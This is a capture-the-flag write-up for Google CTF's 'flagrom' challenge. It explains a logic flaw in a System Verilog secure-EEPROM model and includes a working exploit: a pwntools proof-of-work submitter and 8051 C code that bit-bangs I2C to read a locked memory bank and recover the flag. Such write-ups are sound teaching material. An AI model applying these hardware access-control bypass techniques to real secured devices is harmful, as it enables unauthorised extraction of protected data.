This 8051 board has a SecureEEPROM installed. It’s obvious the flag is stored there. Go and get it.
nc flagrom.ctfcompetition.com 1337
This time, we’re provided with an archive containing an ELF binary running on the server, some 8051 firmware, its source (thankfully) and a System Verilog file implementing the “secure” EEPROM employed in the challenge.
Glancing over the server binary in GHIDRA, we can see that the process is straightforward enough:
The binary checks the proof of work (the usual md5 bruteforce stuff), then accepts some user input interpreting it as 8051 machine code and initializes the virtual EEPROM. The flag gets loaded over the firmware, and the firmware is executed on an 8051 emulator to write it into the EEPROM; after that, the flag is deleted from memory, and the emulator is restarted to run the provided code.
The firmware itself also doesn’t do anything difficult, basically writing the flag into the EEPROM, doing secure_banks()
which apparently locks down the appropriate 64-byte chunk of memory in it preventing read access, then clearing the flag, writing “Hello there” into another (preceding) 64-byte EEPROM bank and “powering off”:
void main(void) {
write_flag();
secure_banks();
remove_flag();
write_welcome();
POWEROFF = 1;
}
So, it looks like we’ll have to find some bugs in the Verilog EEPROM code and also learn to program 8051 along the way. Let’s start with the latter to make the job easier, and for starters let’s recompile the provided firmware with just some print("Hey there!\n")
in the main
function.
Googling “8051 compiler” brings us to Small Device C Compiler; let’s try that on the firmware.c
:
$ sdcc firmware.c
$ ls
firmware.asm firmware.c firmware.ihx firmware.lk firmware.lst firmware.map firmware.mem firmware.rel firmware.rst firmware.sym
Doing a bit more research (“sdcc convert to binary”) shows that we can do the rest with objcopy:
$ objcopy -Iihex -Obinary firmware.ihx out.bin
And now let’s try to actually pass the result to the server, proof of work and all:
import hashlib
import string
import itertools
import sys
from pwn import *
def proof(prefix):
for i in range(5):
for c in itertools.product(string.printable, repeat=i):
if hashlib.md5("flagrom-" + "".join(c)).hexdigest().startswith(prefix):
return "flagrom-"+"".join(c)
s = remote("flagrom.ctfcompetition.com", 1337)
prefix = s.recvuntil("?")[-7:-1]
s.send(proof(prefix)+"\n")
data = open("out.bin", "rb").read()
print s.recvuntil("payload?")
s.send(str(len(data))+"\n") # send the binary size
s.send(data) # send the binary itself
s.interactive() # look at the output
See Hey there!
in the output? Time for the actual puzzle then!
Let’s stare at the Verilog code for a bit. After some reading up on I2C, it becomes clear that it implements its slave interface as a state machine (one of which the old man has previously ran into), but some of it looks pretty fishy. First, the most interesting part is how the memory becomes locked:
147 `I2C_CONTROL_SECURE: begin
148 mem_secure <= mem_secure | i2c_control_bank;
149 i2c_state <= I2C_ACK;
There’s no other code that would change mem_secure
, so once locked, the bank will stay locked until the end of time. Still, there should be the way around it in this case, right? Rummaging through the code, we find that the mem_secure
bits are alternatively accessed through i2c_address_secure
and i2c_next_address_secure
:
51 wire i2c_address_secure = mem_secure[i2c_address / 64];
52 wire i2c_next_address_secure = mem_secure[(i2c_address + 1) / 64];
These are checked in three places: I2C_LOAD_ADDRESS
, I2C_WRITE
and I2C_READ
states, but actually only I2C_LOAD_ADDRESS
directly looks into the bits, the other two just matching the current address’ lock status with that of the next one:
161 I2C_LOAD_ADDRESS: begin
162 `DEBUG_DISPLAY(("i2c_address = %b", i2c_address));
163 `DEBUG_DISPLAY(("i2c_address_bits = %d", i2c_address_bits));
164 if (i2c_address_bits == 8) begin
165 if (i2c_address_secure) begin
166 i2c_address_valid <= 0;
167 i2c_state <= I2C_NACK;
168 end else begin
169 i2c_data_bits <= 0;
170 i2c_address_valid <= 1;
171 i2c_state <= I2C_ACK_THEN_WRITE;
172 end
173 end else if (i2c_scl_state == I2C_SCL_RISING) begin
174 i2c_address <= {i2c_address[6:0], i_i2c_sda};
175 i2c_address_bits <= i2c_address_bits + 1;
176 end
177 end
178 I2C_WRITE: begin
179 `DEBUG_DISPLAY(("i2c_data_ = %b", i2c_data));
180 `DEBUG_DISPLAY(("i2c_data_bits = %d", i2c_data_bits));
181 if (i2c_data_bits == 8) begin
182 i2c_data_bits <= 0;
183 if (i2c_address_secure == i2c_next_address_secure) begin
184 `DEBUG_DISPLAY(("WRITE: i2c_address = 0x%x, i2c_data = 0x%x", i2c_address, i2c_data));
185 mem_storage[i2c_address] <= i2c_data;
186 i2c_address <= i2c_address + 1;
187 i2c_state <= I2C_ACK_THEN_WRITE;
188 end else begin
189 i2c_state <= I2C_NACK;
190 end
191 end else if (i2c_scl_state == I2C_SCL_RISING) begin
192 i2c_data <= {i2c_data[6:0], i_i2c_sda};
193 i2c_data_bits <= i2c_data_bits + 1;
194 end
195 end
196 I2C_READ: begin
197 `DEBUG_DISPLAY(("i2c_data_bits = %d", i2c_data_bits));
198 if (i2c_data_bits == 8 && i2c_scl_state == I2C_SCL_RISING) begin
199 i2c_data_bits <= 0;
200 if (i2c_address_secure == i2c_next_address_secure) begin
201 `DEBUG_DISPLAY(("READ: i2c_address = 0x%x", i2c_address));
202 i2c_address <= i2c_address + 1;
203 i2c_state <= I2C_ACK_THEN_READ;
204 end else begin
205 i2c_state <= I2C_NACK;
206 end
Not only that, but we also can see that reading seems to be passing the data out before any check is even done. There’s no immediately obvious way to use that though, as reaching the I2C_READ
state would require going through I2C_CONTROL_EEPROM
that first checks the i2c_address_valid
:
134 `I2C_CONTROL_EEPROM: begin
135 if (i2c_control_rw) begin
136 if (i2c_address_valid) begin
137 i2c_data_bits <= 0;
138 i2c_state <= I2C_ACK_THEN_READ;
139 end else begin
140 i2c_state <= I2C_NACK;
141 end
But wait, i2c_address_valid
? What’s that? Definitely not quite the same as i2c_address_secure
! We’ve seen it previously set with I2C_LOAD_ADDRESS
in fact; that would mean that setting it to 1 with an unlocked address would then allow us to continuosly read the memory as long as the locked
state of the next address matches the current one. So if we manage to load the address preceding the 64-byte bank containing the flag (which is conveniently possible, as the flag is put in the second bank following the welcome message), then lock the correspondent (first) bank - as locking doesn’t touch the i2c_address_valid
- and then read past its 64-byte border, we will actually get the flag out!
Skimming through firmware.c
, it doesn’t look like the I2C-M module emulated along with the 8051 chip could allow for that though, as it seems to always load the address directly before reading (or writing), thus setting i2c_address_valid
appropriately before every actual access. Also, checking with the I2C tutorial again, we see that every frame is supposed to be finished with the master directing the slave to the I2C_STOP
state, and if we look at the Verilog again we’ll see it resetting i2c_address_valid
:
220 if (i2c_stop) begin
221 i2c_address_valid <= 0;
222 i2c_state <= I2C_IDLE;
223 end else if (i2c_start) begin
224 i2c_state <= I2C_START;
225 end
…now wait a minute. This is weird!
Scrolling back and forth through the EEPROM code, we can see clearly now that nothing actually prevents us from never ever setting the state to I2C_STOP
, and we could just pull the wires to go to I2C_START
any time we need to go back to the beginning:
93 always_comb begin
94 if (i2c_scl_state == I2C_SCL_STABLE_HIGH) begin
95 i2c_start = i2c_last_sda && !i_i2c_sda;
96 i2c_stop = !i2c_last_sda && i_i2c_sda;
97 end else begin
98 i2c_start = 0;
99 i2c_stop = 0;
100 end
101 end
But the I2C module still won’t work that way right?.. Well, look what else is mentioned in the firmware.c
and never used for some reason:
__sfr __at(0xfa) RAW_I2C_SCL;
__sfr __at(0xfb) RAW_I2C_SDA;
From the docs, it follows that the master is in full control of the SCL/clock line, just sending or receiving the bits over SDA/data line when appropriate. So can we bypass the module maybe, directly bit-banging our broken I2C on the SDA/SCL lines?
Sure we can!
Looking back to the tutorial for reference (or to the functions of the decompiled binary for that matter), we first construct a function that would teleport us back to I2C_START
from anywhere, guaranteed:
void i2c_start() {
RAW_I2C_SCL = 0;
RAW_I2C_SDA = 1;
RAW_I2C_SCL = 1;
RAW_I2C_SDA = 0;
}
Now let’s see how the levers should be pulled to exchange some bits. It turns out to be pretty easy actually:
void send_bit(char bit) {
RAW_I2C_SCL = 0;
RAW_I2C_SDA = bit;
RAW_I2C_SCL = 1;
}
char recv_bit() {
char out;
RAW_I2C_SCL = 0;
out = RAW_I2C_SDA;
RAW_I2C_SCL = 1;
return out;
}
And now, back to our insidious plan:
void solve() {
unsigned char i;
unsigned char j;
// set address to 63 (the last byte before the flag)
// via I2C_LOAD_ADDRESS
i2c_start();
// 1010 0000 - go to I2C_LOAD_ADDRESS
send_bit(1); send_bit(0); send_bit(1); send_bit(0);
send_bit(0); send_bit(0); send_bit(0); send_bit(0);
CHAROUT = 0x30 + recv_bit(); // confirm the ACK from the EEPROM (should show 0)
print("\n");
// 0011 1111 - decimal 63
send_bit(0); send_bit(0); send_bit(1); send_bit(1);
send_bit(1); send_bit(1); send_bit(1); send_bit(1);
CHAROUT = 0x30 + recv_bit();
print("\n");
// REWIND!
i2c_start();
// 0101 1111 lock the memory. ALL the memory!
send_bit(0); send_bit(1); send_bit(0); send_bit(1);
send_bit(1); send_bit(1); send_bit(1); send_bit(1);
CHAROUT = 0x30 + recv_bit(); // confirm the ACK, memory locked!
print("\n");
// read ahead into the flag bank!
for (i = 0; i < 64; i++) {
i2c_start();
// 1010 0001 - go to I2C_READ
send_bit(1); send_bit(0); send_bit(1); send_bit(0);
send_bit(0); send_bit(0); send_bit(0); send_bit(1);
recv_bit(); // ACK
// print out the ones and zeroes
for (j = 0; j < 8; j++) {
CHAROUT = 0x30 + recv_bit();
}
print(" ");
recv_bit(); // ACK
// now the i2c_address in EEPROM is incremented and we can go for the next byte
}
}
void main(void) {
solve();
}
Compile the binary, send it with solve.py
, and we get
00000000 01000011 01010100 01000110 01111011 01100110 01101100 01100001 01100111 01110010 01101111 01101101 00101101 01100001 01101110 01100100 00101101 01101111 01101110 00101101 01100001 01101110 01100100 00101101 01101111 01101110 01111101 00000000 00000000 00000000 00000000 ...
Convert it into ASCII and…
CTF{flagrom-and-on-and-on}
Time for the blooper reel! Not everything went as smooth in the actual process of solving this task. One particularly unfortunate accident had been that for some unimaginable now debugging reasons (checking if the lines work right?) I managed to put a busy loop delay into the recv_bit routine, running out of the emulation cycles before even getting to the middle of the flag and leading to many a curse and much subsequent grinding of teeth and tearing of hair. But all’s well what ends well right? My teeth (and hair) still seem to be mostly intact, I think